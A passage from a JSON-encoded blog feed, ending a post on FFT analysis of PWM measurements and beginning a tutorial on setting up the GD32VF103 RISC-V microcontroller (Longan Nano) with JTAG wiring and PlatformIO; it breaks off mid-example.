class=\"p\">[<\/span><span class=\"n\">i<\/span><span class=\"p\">]<\/span> <span class=\"k\">for<\/span> <span class=\"n\">i<\/span> <span class=\"ow\">in<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">argmax<\/span><span class=\"p\">(<\/span><span class=\"n\">axis<\/span><span class=\"o\">=<\/span><span class=\"mi\">0<\/span><span class=\"p\">)])<\/span>\n<span class=\"n\">freq<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">39062.5<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">def<\/span><span class=\"w\"> <\/span><span class=\"nf\">normalize<\/span><span class=\"p\">(<\/span><span class=\"n\">xs<\/span><span class=\"p\">):<\/span>\n    <span class=\"n\">xs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">copy<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">xs<\/span> <span class=\"o\">-=<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">min<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">xs<\/span> <span class=\"o\">\/=<\/span> <span class=\"n\">xs<\/span><span class=\"o\">.<\/span><span class=\"n\">max<\/span><span class=\"p\">()<\/span>\n    <span class=\"n\">xs<\/span> <span class=\"o\">*=<\/span> <span class=\"mf\">100.0<\/span>\n    <span class=\"k\">return<\/span> <span class=\"n\">xs<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">cmap<\/span> <span class=\"o\">=<\/span> <span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">colormaps<\/span><span class=\"p\">[<\/span><span class=\"s1\">&#39;inferno&#39;<\/span><span class=\"p\">]<\/span>\n<span class=\"n\">fig<\/span> <span class=\"o\">=<\/span> <span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">pcolormesh<\/span><span class=\"p\">(<\/span><span class=\"n\">t<\/span><span class=\"p\">,<\/span> <span class=\"n\">f<\/span><span class=\"p\">,<\/span> <span class=\"n\">normalize<\/span><span class=\"p\">(<\/span><span class=\"n\">xs<\/span><span class=\"p\">),<\/span> <span class=\"n\">shading<\/span><span class=\"o\">=<\/span><span class=\"s1\">&#39;gouraud&#39;<\/span><span class=\"p\">,<\/span> <span class=\"n\">cmap<\/span><span class=\"o\">=<\/span><span class=\"n\">cmap<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">colorbar<\/span><span class=\"p\">(<\/span><span class=\"n\">fig<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">ylim<\/span><span class=\"p\">(<\/span><span class=\"mi\">0<\/span><span class=\"p\">,<\/span> <span class=\"n\">freq<\/span> <span class=\"o\">*<\/span> <span class=\"mf\">3.0<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">ylabel<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Frequency [Hz]&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">xlabel<\/span><span class=\"p\">(<\/span><span class=\"s1\">&#39;Time [sec]&#39;<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">show<\/span><span class=\"p\">()<\/span>\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_30_0.png\"><\/p>\n<p>As expected, such a spectogram also contains (faint) multiples of the main frequency. Here we can see one at 80 kHz or so.<\/p>\n<p>Perhaps the Pokit Android app has a bug in its FFT code such that it sometimes misses the main frequency and settles for the next multiple.<\/p>\n<p>Looing into the FFT in more detail:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">sp<\/span> <span class=\"o\">=<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">fft<\/span><span class=\"o\">.<\/span><span class=\"n\">fft<\/span><span class=\"p\">(<\/span><span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">x_freqs<\/span> <span class=\"o\">=<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">fft<\/span><span class=\"o\">.<\/span><span class=\"n\">fftfreq<\/span><span class=\"p\">(<\/span><span class=\"n\">df<\/span><span class=\"o\">.<\/span><span class=\"n\">V<\/span><span class=\"o\">.<\/span><span class=\"n\">shape<\/span><span class=\"p\">[<\/span><span class=\"o\">-<\/span><span class=\"mi\">1<\/span><span class=\"p\">],<\/span> <span class=\"mi\">1<\/span><span class=\"o\">\/<\/span><span class=\"n\">sample_freq<\/span><span class=\"p\">)<\/span>\n<span class=\"c1\">#plt.xlim(-freq * 3.0, freq * 3.0)<\/span>\n<span class=\"c1\">#plt.xlim(38000, freq * 3.0)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">plot<\/span><span class=\"p\">(<\/span><span class=\"n\">x_freqs<\/span><span class=\"p\">,<\/span> <span class=\"n\">sp<\/span><span class=\"o\">.<\/span><span class=\"n\">real<\/span><span class=\"p\">,<\/span> <span class=\"n\">x_freqs<\/span><span class=\"p\">,<\/span> <span class=\"n\">sp<\/span><span class=\"o\">.<\/span><span class=\"n\">imag<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>[&lt;matplotlib.lines.Line2D at 0x7f8322ab33a0&gt;,\n &lt;matplotlib.lines.Line2D at 0x7f8322ab33d0&gt;]\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_33_1.png\"><\/p>\n<p>Compute magnitudes:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">ms<\/span> <span class=\"o\">=<\/span> <span class=\"n\">np<\/span><span class=\"o\">.<\/span><span class=\"n\">sqrt<\/span><span class=\"p\">(<\/span><span class=\"n\">sp<\/span><span class=\"o\">.<\/span><span class=\"n\">real<\/span><span class=\"o\">**<\/span><span class=\"mi\">2<\/span> <span class=\"o\">+<\/span> <span class=\"n\">sp<\/span><span class=\"o\">.<\/span><span class=\"n\">imag<\/span><span class=\"o\">**<\/span><span class=\"mi\">2<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">plt<\/span><span class=\"o\">.<\/span><span class=\"n\">xlim<\/span><span class=\"p\">(<\/span><span class=\"mi\">1000<\/span><span class=\"p\">,<\/span> <span class=\"n\">freq<\/span> <span class=\"o\">*<\/span> <span class=\"mf\">3.0<\/span><span class=\"p\">)<\/span>\n<span class=\"n\">sns<\/span><span class=\"o\">.<\/span><span class=\"n\">lineplot<\/span><span class=\"p\">(<\/span><span class=\"n\">x<\/span><span class=\"o\">=<\/span><span class=\"n\">x_freqs<\/span><span class=\"p\">,<\/span> <span class=\"n\">y<\/span><span class=\"o\">=<\/span><span class=\"n\">ms<\/span><span class=\"p\">)<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code>&lt;AxesSubplot:&gt;\n<\/code><\/pre><\/div>\n\n<p><img alt=\"png\" src=\"https:\/\/gms.tf\/image\/pokit-output_35_1.png\"><\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">x_freqs<\/span><span class=\"p\">[<\/span><span class=\"n\">ms<\/span><span class=\"p\">[<\/span><span class=\"mi\">1<\/span><span class=\"p\">:]<\/span><span class=\"o\">.<\/span><span class=\"n\">argmax<\/span><span class=\"p\">()<\/span><span class=\"o\">+<\/span><span class=\"mi\">1<\/span><span class=\"p\">]<\/span>\n<\/code><\/pre><\/div>\n\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"mf\">40000.0<\/span>\n<\/code><\/pre><\/div>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"MCU"}},{"@attributes":{"term":"PWM"}},{"@attributes":{"term":"measurement"}}]},{"title":"Getting started with the GD32VF103 RISC-V Microcontroller","link":{"@attributes":{"href":"https:\/\/gms.tf\/riscv-gd32vf103.html","rel":"alternate"}},"published":"2022-05-08T14:00:00+02:00","updated":"2022-05-08T14:00:00+02:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2022-05-08:\/riscv-gd32vf103.html","summary":"<p>The <a href=\"https:\/\/www.gigadevice.com\/products\/microcontrollers\/gd32\/risc-v\/\">GD32VF103<\/a> is an inexpensive 32 bit <a href=\"https:\/\/en.wikipedia.org\/wiki\/RISC-V\">RISC-V<\/a> CPU that integrates\na bunch of peripherals. In other words, it's a cheap RISC-V\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcontroller\">microcontroller<\/a> (MCU). This article describes how to hook it up, to\nset up an development environment and do some first steps with\nits peripherals.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#characteristics\">Characteristics<\/a><\/li>\n<li><a href=\"#development-boards\">Development Boards<\/a><\/li>\n<li><a href=\"#assembling\">Assembling \u2026<\/a><\/li><\/ul><\/div>","content":"<p>The <a href=\"https:\/\/www.gigadevice.com\/products\/microcontrollers\/gd32\/risc-v\/\">GD32VF103<\/a> is an inexpensive 32 bit <a href=\"https:\/\/en.wikipedia.org\/wiki\/RISC-V\">RISC-V<\/a> CPU that integrates\na bunch of peripherals. In other words, it's a cheap RISC-V\n<a href=\"https:\/\/en.wikipedia.org\/wiki\/Microcontroller\">microcontroller<\/a> (MCU). This article describes how to hook it up, to\nset up an development environment and do some first steps with\nits peripherals.<\/p>\n<div class=\"toc\">\n<ul>\n<li><a href=\"#characteristics\">Characteristics<\/a><\/li>\n<li><a href=\"#development-boards\">Development Boards<\/a><\/li>\n<li><a href=\"#assembling\">Assembling<\/a><\/li>\n<li><a href=\"#connecting\">Connecting<\/a><\/li>\n<li><a href=\"#powering\">Powering<\/a><\/li>\n<li><a href=\"#development-environment\">Development Environment<\/a><\/li>\n<li><a href=\"#c\">C++<\/a><\/li>\n<li><a href=\"#interrupts\">Interrupts<\/a><\/li>\n<li><a href=\"#realtime-clock-rtc\">Realtime Clock (RTC)<\/a><\/li>\n<li><a href=\"#lcd\">LCD<\/a><\/li>\n<li><a href=\"#uart\">UART<\/a><\/li>\n<li><a href=\"#where-to-go-from-here\">Where to go from here<\/a><\/li>\n<li><a href=\"#parts\">Parts<\/a><\/li>\n<li><a href=\"#related-mcus\">Related MCUs<\/a><\/li>\n<li><a href=\"#conclusion\">Conclusion<\/a><\/li>\n<\/ul>\n<\/div>\n<h2 id=\"characteristics\">Characteristics<a class=\"headerlink\" href=\"#characteristics\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The GD32VF103 exists in several variants, e.g. the Seeed\ndevelopment boards are built around the GD32VF103CBT6. Some of\nits characteristics:<\/p>\n<ul>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/RISC-V\">RISC-V<\/a> 32 bit instruction set: RV32IMAC (i.e. no floating point extension)<\/li>\n<li>108 MHz CPU frequency (can be clocked lower)<\/li>\n<li>32 KiB RAM<\/li>\n<li>128 KiB flash<\/li>\n<li>3.3 V supply voltage<\/li>\n<li>2 stage instruction pipeline<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/Real-time_clock\">Realtime clock<\/a> (with periodic and alarm interrupt, can be calibrated)<\/li>\n<li>6 16-bit timers<\/li>\n<li>2 <a href=\"https:\/\/en.wikipedia.org\/wiki\/Watchdog_timer\">watchdogs<\/a><\/li>\n<li>many external interrupts<\/li>\n<li>several <a href=\"https:\/\/en.wikipedia.org\/wiki\/General-purpose_input\/output\">GPIO<\/a> and ADC pins<\/li>\n<li>a bunch of <a href=\"https:\/\/en.wikipedia.org\/wiki\/Universal_asynchronous_receiver-transmitter\">UART<\/a>\/<a href=\"https:\/\/en.wikipedia.org\/wiki\/Universal_synchronous_and_asynchronous_receiver-transmitter\">USART<\/a>\/<a href=\"https:\/\/en.wikipedia.org\/wiki\/Serial_Peripheral_Interface\">SPI<\/a> units (e.g. 5 U(S)ART and 3 SPI)<\/li>\n<\/ul>\n<p>Looking at the peripherals, i.e. their registers,\nGigaDevice's GD32VF103 RISC-V MCU arguably is quite similar to\nGigaDevice's <a href=\"https:\/\/www.gigadevice.com\/products\/microcontrollers\/gd32\/arm-cortex-m3\/\">GD32F103<\/a> Arm MCU which in turn is similar to the ST\n<a href=\"https:\/\/www.st.com\/en\/microcontrollers-microprocessors\/stm32f103.html\">STM32F103<\/a> Arm MCU (i.e. an Arm Cortex-M3 MCU, commonly used on the\ncompact '<a href=\"https:\/\/stm32-base.org\/boards\/STM32F103C8T6-Blue-Pill.html\">Blue Pill<\/a>' development boards).<\/p>\n<p>Despite being 32 bit CPUs all these MCUs have one <a href=\"https:\/\/stackoverflow.com\/q\/71989193\/427158\">curious\nproperty<\/a> in common: almost all of their memory-mapped\n(special purpose) registers are only 16 bit wide. That means they\nare 32 bit registers, but only the least significant 16 bits are\nused. Thus, many registers used to configure and interface with\nperipherals that require more than 16 bits are split over two\nconcrete ones (i.e. a high and low part), such as the RTC counter\nvalue (32 bits mapped via 2 times 16 bit) or the RTC alarm\nregister (20 bits mapped via 16 bit and 4 bit halves).<\/p>\n<p>Of course, such splitting is tedious and error-prone. Especially\nwhen reading such registers, one has to think about atomic\naccess, since there might be a race where the low part\nwraps around just after you have read it and thus the high part\nmight get incremented just before you are reading it. (analogous issue\nwhen you start with the high part)<\/p>\n<h2 id=\"development-boards\">Development Boards<a class=\"headerlink\" href=\"#development-boards\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p><a href=\"https:\/\/www.seeedstudio.com\/catalogsearch\/result\/?q=risc%20v\">Seeed Studio sells<\/a>\nseveral development boards built around the GD32VF103.\nThe most compact one is the <a href=\"https:\/\/www.seeedstudio.com\/Sipeed-Longan-Nano-V1-1-p-5118.html\">Sipeed Longan Nano v1.1<\/a>\nwhich is\navailable for 10 dollars or euros or so. The rest of this article\nconcentrates on this board.<\/p>\n<p>The Longan Nano has similar dimensions like an Arm <a href=\"https:\/\/stm32-base.org\/boards\/STM32F103C8T6-Blue-Pill.html\">Blue Pill<\/a> board\nor some of the compact Arduino ones, such as the Arduino Micro or\n<a href=\"https:\/\/www.sparkfun.com\/products\/11114\">Mini Pro<\/a>.<\/p>\n<p>Some notable features of the Longan Nano v1.1 board:<\/p>\n<ul>\n<li>it comes with a small 160x80 pixel TFT display attached to an\n  SPI port (detachable)<\/li>\n<li>low-speed external 32.768 kHz quartz oscillator for use with the RTC\n  on GPIO pins C14 and C15 (LXTAL)<\/li>\n<li>high-speed external 8 MHz quartz oscillator (HXTAL) from which\n  the 108 CPU clock is synthesized<\/li>\n<li>RGB LED on GPIO pins C13, A1 and A2<\/li>\n<li>on-board push-button on GPIO pin A8 (boot0 button with external pull-down)<\/li>\n<li>micro-SD card slot<\/li>\n<li>3.3 V voltage regulator (max: 6 V) at 5V pin, non-regulated\n  supply pin available (pin 3V3)<\/li>\n<li><a href=\"https:\/\/en.wikipedia.org\/wiki\/JTAG\">JTAG<\/a> header<\/li>\n<li>power LED<\/li>\n<li>USB interface<\/li>\n<\/ul>\n<h2 id=\"assembling\">Assembling<a class=\"headerlink\" href=\"#assembling\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As it's common with these boards, it comes with the side-headers\nnot soldered yet.<\/p>\n<p>When the pins C14 and C15 aren't needed for IO and instead the\nRTC should be driven by the external quartz connected to these\npins it's recommended to <em>not<\/em> solder any header to those pins.\nThat means simply break the supplied header two times to connect\njust the VBAT pin and the pins RESET until C13. This should\nimprove the performance of the external quartz somewhat.<\/p>\n<p>However, even if C14\/C15 are soldered and connected to a\nbread-board it isn't really a catastrophe for RTC usage, since\nthe RTC should be calibrated anyways and such calibration should\ncompensate some of the issues with that. Besides slight RF issues\nperhaps. Purists might even want to cut the traces to the C14\/C15\npins as early as possible.<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/longan-nano-pinout.svg\" alt=\"Longan Nano Pinout\" width=\"100%\"\/><\/p>\n<h2 id=\"connecting\">Connecting<a class=\"headerlink\" href=\"#connecting\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>In theory, the Nano supports programming it over the onboard USB\ninterface via the <a href=\"https:\/\/en.wikipedia.org\/wiki\/USB#Device_Firmware_Upgrade_mechanism\">DFU<\/a> mode. However, there are 2 issue\nwith that:<\/p>\n<ol>\n<li>It doesn't support auto-reset and thus requires a very tedious\nand error-prone manual procedure, i.e. pressing the boot0 booting before\npushing briefly reset and then releasing again boot0 sequence\nbefore the actual flashing<\/li>\n<li>It's only supported by the legacy gd32vf103-sdk framework\nwhich is incomplete, buggy and unmaintained.<\/li>\n<\/ol>\n<p>Thus, one really needs a <a href=\"https:\/\/en.wikipedia.org\/wiki\/JTAG\">JTAG<\/a> adapter for programming the Longan\nNano, such as the <a href=\"https:\/\/www.seeedstudio.com\/Sipeed-USB-JTAG-TTL-RISC-V-Debugger-ST-Link-V2-STM8-STM32-Simulator-p-2910.html\">Sipeed USB-JTAG\/TTL RISC-V Debugger<\/a> which also costs around 10\nDollars\/Euros.<\/p>\n<p>NB: The Vendor Seeed Studio apparently sells (or had sold)\ndifferent variants of that JTAG adapter under the same SKU. The\nitem I ordered at the end of 2021 through Antratek (who sourced\nit from Seeed Studio through eVatmaster Consulting GmbH, production date 2021\/05\/15) comes with\n3.3 V and 5 V supply pins (which is quite convenient) whereas the\nSeeed Studio stock photo has that pin marked as NC (not\nconnected) and GND (as of May 2022). Perhaps that's just an outdated photo and all\ncurrently sold devices have the supply pins. But one can't be\nsure. I've notified the vendor via a Disqus comment, but the\nmoderators didn't approve it.<\/p>\n<p><img src=\"https:\/\/gms.tf\/image\/sipeed-jtag.jpg\" alt=\"Sipeed JTAG device\" width=\"50%\"\/><\/p>\n<p>Note that both the Nano and the Sipeed JTAG device have a double\nrow header, however, the pins don't match 1:1, back to back. Especially the\nreset pin isn't part of the Nano JTAG header.<\/p>\n<p>When orienting the Nano with USB-C port to the left and the\nSipeed JTAG device to the right (USB-connector to the right),\nmarkings on top, the pins read top-down:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Location<\/th>\n<th>Pins<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>JTAG back-row<\/td>\n<td>GND, RXD, TXD, 5V, 3V3<\/td>\n<\/tr>\n<tr>\n<td>JTAG front-row<\/td>\n<td>TDI, RST, TMS, TDO, TCK<\/td>\n<\/tr>\n<tr>\n<td>Nano back-row<\/td>\n<td>JTDO, JTDI, JTCK, JTMS<\/td>\n<\/tr>\n<tr>\n<td>Nano front-row<\/td>\n<td>GND, TX0, RX0, 3.3V<\/td>\n<\/tr>\n<tr>\n<td>Nano top header<\/td>\n<td>RESET<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Thus, the Nano\/JTAG should be connected like this:<\/p>\n<table class=\"m-table\">\n<thead>\n<tr>\n<th>Nano<\/th>\n<th>JTAG\/TTL device<\/th>\n<\/tr>\n<\/thead>\n<tbody>\n<tr>\n<td>JTDO<\/td>\n<td>TDO<\/td>\n<\/tr>\n<tr>\n<td>JTDI<\/td>\n<td>TDI<\/td>\n<\/tr>\n<tr>\n<td>JTCK<\/td>\n<td>TCK<\/td>\n<\/tr>\n<tr>\n<td>JTMS<\/td>\n<td>TMS<\/td>\n<\/tr>\n<tr>\n<td>RESET<\/td>\n<td>RST<\/td>\n<\/tr>\n<tr>\n<td>GND<\/td>\n<td>GND<\/td>\n<\/tr>\n<tr>\n<td>TX0<\/td>\n<td>RXD<\/td>\n<\/tr>\n<tr>\n<td>RX0<\/td>\n<td>TXD<\/td>\n<\/tr>\n<tr>\n<td>3.3V<\/td>\n<td>3V3<\/td>\n<\/tr>\n<tr>\n<td>nothing<\/td>\n<td>5V<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<h2 id=\"powering\">Powering<a class=\"headerlink\" href=\"#powering\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>When not powering the Nano from a JTAG adapter,\nit can be powered in several alternative ways:<\/p>\n<ol>\n<li>connecting a USB power-bank to the USB-C port<\/li>\n<li>connecting a battery (pack) with voltage between 3.3 V and 6 V\nto the voltage regulator (i.e. the 5V pin) and ground (GND pin).<\/li>\n<li>connecting a 3.3 V power source directly to the 3.3V pin\n   (i.e. left of the 5V pin), i.e. without using the onboard\n   voltage regulator<\/li>\n<\/ol>\n<p>The VBAT pin is for connecting a 2.6 to 3.6 V battery to power\nthe RTC (in the battery backup domain) when the main voltage\nsupply is turned off. When no extra RTC battery is required, the\nmanual <a href=\"https:\/\/electronics.stackexchange.com\/q\/616993\/56807\">recommends to connect VBAT to VDD<\/a> (i.e. to the\n3.3V pin) and place a 0.1 \u00b5F decoupling capacitor between VBAT\nand ground.  According to the schematics, there should be an\nunpopulated R8 somewhere on the PCB which could be closed in\norder to follow the recommendation.<\/p>\n<p>Similarly to the <a href=\"https:\/\/www.sparkfun.com\/products\/11114\">Arduino Mini Pro<\/a>, the Nano board isn't really\noptimized for low-power. First of all, it has a power-indicator\nLED. Also, the onboard voltage regulator (<a href=\"https:\/\/datasheet.lcsc.com\/szlcsc\/Nanjing-Micro-One-Elec-ME6211C33M5G-N_C82942.pdf\">MicrOne ME6211C33<\/a>)\nisn't the most efficient one (I_q=60 \u00b5A or so, whereas - say -\nthe <a href=\"https:\/\/ww1.microchip.com\/downloads\/aemDocuments\/documents\/APID\/ProductDocuments\/DataSheets\/MCP1700-Data-Sheet-20001826F.pdf\">MCP1700<\/a> has I_q=1.6 \u00b5A and a lower voltage drop).<\/p>\n<p>One could try the following modifications in order to decrease\nthe power usage:<\/p>\n<ol>\n<li>Desolder the power-on LED (DS1) or its series resistor\n   (R6=2kOhm).<\/li>\n<li>Desolder\/remove the voltage regulator and use an more\n   efficient one, externally, if required.<\/li>\n<\/ol>\n<p>Especially the first modification looks more complicated with the\nNano than with the Arduino Mini Pro, because the SMD parts are\ngrouped together more tightly. Unfortunately, unlike with the\noriginal Sparkfun Arduino Mini Pro there is no\n<a href=\"https:\/\/cdn.sparkfun.com\/datasheets\/Dev\/Arduino\/Boards\/Arduino-Pro-Mini-v14.pdf\">Jumper<\/a> that could\nsimply be disconnected (desoldered) to disconnect the onboard\nvoltage regulator and power-on LED.<\/p>\n<h2 id=\"development-environment\">Development Environment<a class=\"headerlink\" href=\"#development-environment\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>First of all, the JTAG device likely needs some additional udev\nrule such that its device files can be accessed by a normal user. For\nexample, for the Sipeed device one could drop a config snippet\nlike the following into <code>\/etc\/udev\/rules.d<\/code>, e.g. in a file named\n<code>99-platformio-udev.rule<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>ATTRS{idVendor}==&quot;0403&quot;, ATTRS{idProduct}==&quot;6010&quot;, MODE=&quot;0660&quot;, GROUP=&quot;dialout&quot;, ENV{ID_MM_DEVICE_IGNORE}=&quot;1&quot;, ENV{ID_MM_PORT_IGNORE}=&quot;1&quot;\n<\/code><\/pre><\/div>\n\n<p>Make then sure that your user is part of the <code>dialout<\/code> group.<\/p>\n<hr>\n<p>The simplest way to start development is to use\n<a href=\"https:\/\/platformio.org\/\">PlatformIO<\/a> which supports the\nGD32VF103\/Longan Nano. PlatformIO can be used exclusively from\nthe <a href=\"https:\/\/github.com\/platformio\/platformio-core\/\">command line<\/a>, but there\nis also a PlatformIO VSCode plugin, which VSCode fans might\nprefer.<\/p>\n<p>In case PlatformIO isn't packaged yet for your favourite Linux\ndistribution you can install it like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>python3 -m venv ~\/local\/platformio\nsource ~\/local\/platformio\/bin\/activate\npip install platformio\ncd ~\/local\/bin\nln -s ..\/platformio\/bin\/pio\n<\/code><\/pre><\/div>\n\n<p>First test is to query the Longan Nano support:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>pio<span class=\"w\"> <\/span>boards<span class=\"w\"> <\/span>longan\n\nPlatform:<span class=\"w\"> <\/span><span class=\"nv\">gd32v<\/span>\n<span class=\"o\">============================================================================================<\/span>\nID<span class=\"w\">                       <\/span>MCU<span class=\"w\">            <\/span>Frequency<span class=\"w\">    <\/span>Flash<span class=\"w\">    <\/span>RAM<span class=\"w\">    <\/span>Name\n-----------------------<span class=\"w\">  <\/span>-------------<span class=\"w\">  <\/span>-----------<span class=\"w\">  <\/span>-------<span class=\"w\">  <\/span>-----<span class=\"w\">  <\/span>-----------------------\nsipeed-longan-nano<span class=\"w\">       <\/span>GD32VF103CBT6<span class=\"w\">  <\/span>108MHz<span class=\"w\">       <\/span>128KB<span class=\"w\">    <\/span>32KB<span class=\"w\">   <\/span>Sipeed<span class=\"w\"> <\/span>Longan<span class=\"w\"> <\/span>Nano\nsipeed-longan-nano-lite<span class=\"w\">  <\/span>GD32VF103C8T6<span class=\"w\">  <\/span>108MHz<span class=\"w\">       <\/span>64KB<span class=\"w\">     <\/span>20KB<span class=\"w\">   <\/span>Sipeed<span class=\"w\"> <\/span>Longan<span class=\"w\"> <\/span>Nano<span class=\"w\"> <\/span>Lite\n\nPlatform:<span class=\"w\"> <\/span><span class=\"nv\">nuclei<\/span>\n<span class=\"o\">======================================================================================<\/span>\nID<span class=\"w\">                      <\/span>MCU<span class=\"w\">            <\/span>Frequency<span class=\"w\">    <\/span>Flash<span class=\"w\">    <\/span>RAM<span class=\"w\">    <\/span>Name\n----------------------<span class=\"w\">  <\/span>-------------<span class=\"w\">  <\/span>-----------<span class=\"w\">  <\/span>-------<span class=\"w\">  <\/span>-----<span class=\"w\">  <\/span>------------------\ngd32vf103c_longan_nano<span class=\"w\">  <\/span>GD32VF103CBT6<span class=\"w\">  <\/span>108MHz<span class=\"w\">       <\/span>128KB<span class=\"w\">    <\/span>32KB<span class=\"w\">   <\/span>Sipeed<span class=\"w\"> <\/span>Longan<span class=\"w\"> <\/span>Nano\n<\/code><\/pre><\/div>\n\n<p>There is a pitfall right there! The first platform gd32v uses the outdated and\nunmaintained legacy gd32vf103-sdk framework <sup>(cf. https:\/\/github.com\/riscv-mcu\/GD32VF103_Firmware_Library)<\/sup>. Unfortunately, many Longan Nano\nexamples found online are a few years old and thus do use this framework.\nHence, one might be tempted to start with that. However, it's incomplete and buggy.\nThose examples that are using the gd32v platform are still instructive, though, because much\nof the API is also present in the <a href=\"https:\/\/github.com\/Nuclei-Software\/nuclei-sdk\">Nuclei SDK<\/a>. But some APIs changed so be prepared\nto adjust old examples when looking at them.<\/p>\n<p>So the <a href=\"https:\/\/github.com\/Nuclei-Software\/nuclei-sdk\">Nuclei platform<\/a> it is. To create a new project:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>mkdir first-longan-test\ncd first-longan-test\npio project init --board gd32vf103c_longan_nano --ide vim\n<\/code><\/pre><\/div>\n\n<p>This creates a <code>platform.ini<\/code> file that reads like this:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">[env:gd32vf103c_longan_nano]<\/span>\n<span class=\"na\">platform<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s\">nuclei<\/span>\n<span class=\"na\">board<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s\">gd32vf103c_longan_nano<\/span>\n<span class=\"na\">framework<\/span><span class=\"w\"> <\/span><span class=\"o\">=<\/span><span class=\"w\"> <\/span><span class=\"s\">nuclei-sdk<\/span>\n<\/code><\/pre><\/div>\n\n<p>NB: With the nuclei platform the default <code>upload_protocol<\/code> is <code>rv-link<\/code> which works fine with the Sipeed JTAG device.<\/p>\n<p>For integration with <a href=\"http:\/\/vimdoc.sourceforge.net\/htmldoc\/quickfix.html\">Vim quickfix<\/a> mode you can create a simple makefile like the following:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"o\">.<\/span><span class=\"n\">PHONY<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">all<\/span>\n<span class=\"n\">all<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">build<\/span>\n\n\n<span class=\"o\">.<\/span><span class=\"n\">PHONY<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">build<\/span>\n<span class=\"n\">build<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">pio<\/span><span class=\"w\"> <\/span><span class=\"n\">run<\/span>\n\n<span class=\"o\">.<\/span><span class=\"n\">PHONY<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"n\">upload<\/span>\n<span class=\"n\">upload<\/span><span class=\"p\">:<\/span>\n<span class=\"w\">        <\/span><span class=\"n\">pio<\/span><span class=\"w\"> <\/span><span class=\"n\">run<\/span><span class=\"w\"> <\/span><span class=\"o\">--<\/span><span class=\"n\">target<\/span><span class=\"w\"> <\/span><span class=\"n\">upload<\/span>\n<\/code><\/pre><\/div>\n\n<p>For a first test run,  to check whether the edit\/compile\/flash cycle works, you can\nblink the on-board LED:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span class=\"cpf\">&lt;gd32vf103.h&gt;<\/span>\n<span class=\"cp\">#include<\/span><span class=\"w\"> <\/span><span 